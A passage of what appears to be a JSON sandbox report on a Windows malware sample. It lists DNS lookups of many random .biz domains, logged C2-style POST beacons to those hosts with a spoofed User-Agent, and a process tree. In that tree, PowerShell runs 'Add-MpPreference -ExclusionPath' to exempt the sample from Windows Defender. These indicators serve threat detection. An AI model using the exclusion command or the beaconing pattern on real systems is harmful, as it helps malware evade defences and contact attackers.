States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"deoci.biz","address":"34.229.166.50","ttl":293,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"dlynankz.biz","address":"85.214.228.140","ttl":564,"country":"Germany","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"dwrqljrr.biz","address":"44.244.22.128","ttl":259,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"esuzf.biz","address":"34.209.195.255","ttl":28,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"eufxebus.biz","address":"50.16.27.236","ttl":102,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"ftxlah.biz","address":"54.146.6.253","ttl":156,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"fwiwk.biz","address":"172.233.219.78","ttl":114,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"gcedd.biz","address":"3.238.30.69","ttl":212,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"gjogvvpsf.biz","address":"104.156.155.94","ttl":94,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"gnqgo.biz","address":"34.229.166.50","ttl":99,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"gvijgjwkh.biz","address":"54.85.87.184","ttl":107,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"gytujflc.biz","address":"104.156.155.94","ttl":256,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"hehckyov.biz","address":"3.229.117.57","ttl":263,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"ifsaia.biz","address":"3.238.30.69","ttl":65,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"iuzpxe.biz","address":"3.238.30.69","ttl":27,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"jdhhbs.biz","address":"3.238.30.69","ttl":78,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"jhvzpcfg.biz","address":"3.229.117.57","ttl":161,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"jpskm.biz","address":"34.209.195.255","ttl":16,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"jwkoeoqns.biz","address":"34.229.166.50","ttl":187,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"knjghuig.biz","address":"50.16.27.236","ttl":42,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"lejtdj.biz","country":"-","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"lpuegx.biz","address":"176.100.243.135","ttl":597,"country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"lrxdmhrr.biz","address":"44.244.22.128","ttl":93,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"mgmsclkyu.biz","address":"3.250.92.156","ttl":106,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"mnjmhp.biz","address":"54.146.6.253","ttl":233,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"myups.biz","address":"165.160.15.20","ttl":12695,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"npukfztj.biz","address":"3.229.117.57","ttl":282,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"nqwjmb.biz","address":"52.43.119.120","ttl":12,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"oflybfv.biz","address":"54.146.6.253","ttl":265,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"opowhhece.biz","address":"34.229.166.50","ttl":230,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"oshhkdluh.biz","address":"44.244.22.128","ttl":125,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"przvgke.biz","address":"172.237.146.38","ttl":288,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"pwlqfu.biz","address":"3.250.92.156","ttl":259,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"pywolwnvd.biz","address":"44.244.22.128","ttl":45,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"qaynky.biz","address":"3.238.30.69","ttl":75,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"qpnczch.biz","address":"34.209.195.255","ttl":11,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"reczwga.biz","address":"3.229.117.57","ttl":142,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"rrqafepng.biz","address":"54.146.6.253","ttl":251,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"rynmcq.biz","address":"44.244.22.128","ttl":25,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"saytjshyf.biz","address":"3.229.117.57","ttl":55,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"ssbzmoy.biz","address":"50.16.27.236","ttl":207,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"sxmiywsfv.biz","address":"3.238.30.69","ttl":199,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"tbjrpv.biz","address":"3.250.92.156","ttl":168,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"tnevuluw.biz","address":"52.43.119.120","ttl":174,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"typgfhb.biz","address":"3.238.30.69","ttl":188,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"uaafd.biz","address":"52.212.150.54","ttl":49,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"uhxqin.biz","country":"-","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"vcddkls.biz","address":"50.16.27.236","ttl":117,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"vjaxhpbji.biz","address":"176.100.243.135","ttl":777,"country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"vrrazpdh.biz","address":"34.209.195.255","ttl":170,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"vyome.biz","address":"34.209.195.255","ttl":177,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"warkcdu.biz","address":"50.16.27.236","ttl":254,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"whjovd.biz","address":"50.16.27.236","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"wllvnzb.biz","address":"50.16.27.236","ttl":171,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"www.anpmnmxo.biz","address":"91.195.240.19","ttl":1683,"country":"Germany","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"xccjj.biz","address":"34.209.195.255","ttl":204,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"xlfhhhm.biz","address":"54.146.6.253","ttl":178,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"yauexmxk.biz","address":"34.229.166.50","ttl":249,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"yhqqc.biz","address":"34.209.195.255","ttl":133,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"ytctnunms.biz","address":"54.85.87.184","ttl":120,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"yunalwv.biz","address":"104.156.155.94","ttl":40,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"zjbpaao.biz","country":"-","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"domain":"zlenh.biz","country":"-","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]}],"http_requests":[{"host":"przvgke.biz","host_ip":"172.237.146.38:80","url":"/gmyq","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /gmyq HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: przvgke.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"przvgke.biz","host_ip":"172.237.146.38:80","url":"/eenafjh","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /eenafjh HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: przvgke.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"anpmnmxo.biz","host_ip":"192.64.119.165:80","url":"/xdn","method":"POST","response_code":"302","response_phrase":"Found","header":"POST /xdn HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: anpmnmxo.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"anpmnmxo.biz","host_ip":"192.64.119.165:80","url":"/grb","method":"POST","response_code":"302","response_phrase":"Found","header":"POST /grb HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: anpmnmxo.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"lpuegx.biz","host_ip":"176.100.243.135:80","url":"/vulouslgnlhitti","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /vulouslgnlhitti HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: lpuegx.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"vjaxhpbji.biz","host_ip":"176.100.243.135:80","url":"/m","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /m HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: vjaxhpbji.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"fwiwk.biz","host_ip":"172.233.219.78:80","url":"/uxfbf","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /uxfbf HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: fwiwk.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"fwiwk.biz","host_ip":"172.233.219.78:80","url":"/x","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /x HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: fwiwk.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"tbjrpv.biz","host_ip":"3.250.92.156:80","url":"/timgrnolbnjx","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /timgrnolbnjx HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: tbjrpv.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"gytujflc.biz","host_ip":"104.156.155.94:80","url":"/ihsriapotht","method":"POST","response_code":"404","response_phrase":"Not Found","header":"POST /ihsriapotht HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: gytujflc.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"gytujflc.biz","host_ip":"104.156.155.94:80","url":"/dwkfn","method":"POST","response_code":"404","response_phrase":"Not Found","header":"POST /dwkfn HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: gytujflc.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"nqwjmb.biz","host_ip":"52.43.119.120:80","url":"/vpual","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /vpual HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: nqwjmb.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"ytctnunms.biz","host_ip":"54.85.87.184:80","url":"/mturjkpfsf","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /mturjkpfsf HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: ytctnunms.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"myups.biz","host_ip":"165.160.15.20:80","url":"/bdsk","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /bdsk HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: myups.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"myups.biz","host_ip":"165.160.15.20:80","url":"/tcvvkmv","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /tcvvkmv HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: myups.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"yunalwv.biz","host_ip":"104.156.155.94:80","url":"/mdfdfxgnrejf","method":"POST","response_code":"404","response_phrase":"Not Found","header":"POST /mdfdfxgnrejf HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: yunalwv.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"yunalwv.biz","host_ip":"104.156.155.94:80","url":"/hhb","method":"POST","response_code":"404","response_phrase":"Not Found","header":"POST /hhb HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: yunalwv.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"gvijgjwkh.biz","host_ip":"54.85.87.184:80","url":"/jnkluegimqpt","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /jnkluegimqpt HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: gvijgjwkh.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"brsua.biz","host_ip":"52.212.150.54:80","url":"/iqabmrerpvy","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /iqabmrerpvy HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: brsua.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"dlynankz.biz","host_ip":"85.214.228.140:80","url":"/piyuaqnwgrufdfb","method":"POST","response_code":"404","response_phrase":"Not Found","header":"POST /piyuaqnwgrufdfb HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: dlynankz.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"dlynankz.biz","host_ip":"85.214.228.140:80","url":"/foaa","method":"POST","response_code":"404","response_phrase":"Not Found","header":"POST /foaa HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: dlynankz.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"mgmsclkyu.biz","host_ip":"3.250.92.156:80","url":"/iqacarhxjuaq","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /iqacarhxjuaq HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: mgmsclkyu.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"uaafd.biz","host_ip":"52.212.150.54:80","url":"/xcdhyxqxurnkqb","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /xcdhyxqxurnkqb HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: uaafd.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"pwlqfu.biz","host_ip":"3.250.92.156:80","url":"/bcfiaqho","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /bcfiaqho HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: pwlqfu.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"ctdtgwag.biz","host_ip":"54.85.87.184:80","url":"/rvhbfhphasyfcsi","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /rvhbfhphasyfcsi HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: ctdtgwag.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"tnevuluw.biz","host_ip":"52.43.119.120:80","url":"/ysrqu","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /ysrqu HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: tnevuluw.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"gjogvvpsf.biz","host_ip":"104.156.155.94:80","url":"/iwpckjq","method":"POST","response_code":"404","response_phrase":"Not Found","header":"POST /iwpckjq HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: gjogvvpsf.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"host":"gjogvvpsf.biz","host_ip":"104.156.155.94:80","url":"/hrbpbejavxmu","method":"POST","response_code":"404","response_phrase":"Not Found","header":"POST /hrbpbejavxmu HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: gjogvvpsf.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 842","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}],"processes":[{"pid":3968,"ppid":0,"name":"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe","command_line":"","sha256":"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e","normalized_path":"C:\\8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe","uid":"00000000-00003968","icon":"$b0"},{"pid":1268,"ppid":3968,"name":"powershell.exe","command_line":"Add-MpPreference -ExclusionPath \"C:\\8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\"","sha256":"70ba57fb0bf2f34b86426d21559f5f6d05c1268193904de8e959d7b06ce964ce","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003968","uid":"00000000-00001268"},{"pid":4636,"ppid":3968,"name":"RegSvcs.exe","command_line":"","sha256":"c09191a1a46b7bfa82e381c5a0cc5fae83787d63f550a8bd6beaf33cc5c0c344","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe","parent_uid":"00000000-00003968","uid":"00000000-00004636"},{"pid":4520,"ppid":0,"name":"SearchIndexer.exe","command_line":"/Embedding","sha256":"9a06d419b50e4e7e04d3e0626779f36f1df715feffb4b190ea0106476c675ca8","normalized_path":"%WINDIR%\\system32\\SearchIndexer.exe","uid":"00000000-00004520","icon":"$b1"},{"pid":412,"ppid":4520,"name":"SearchProtocolHost.exe","command_line":"Global\\UsGthrFltPipeMssGthrPipe1_ Global\\UsGthrCtrlFltPipeMssGthrPipe1 1 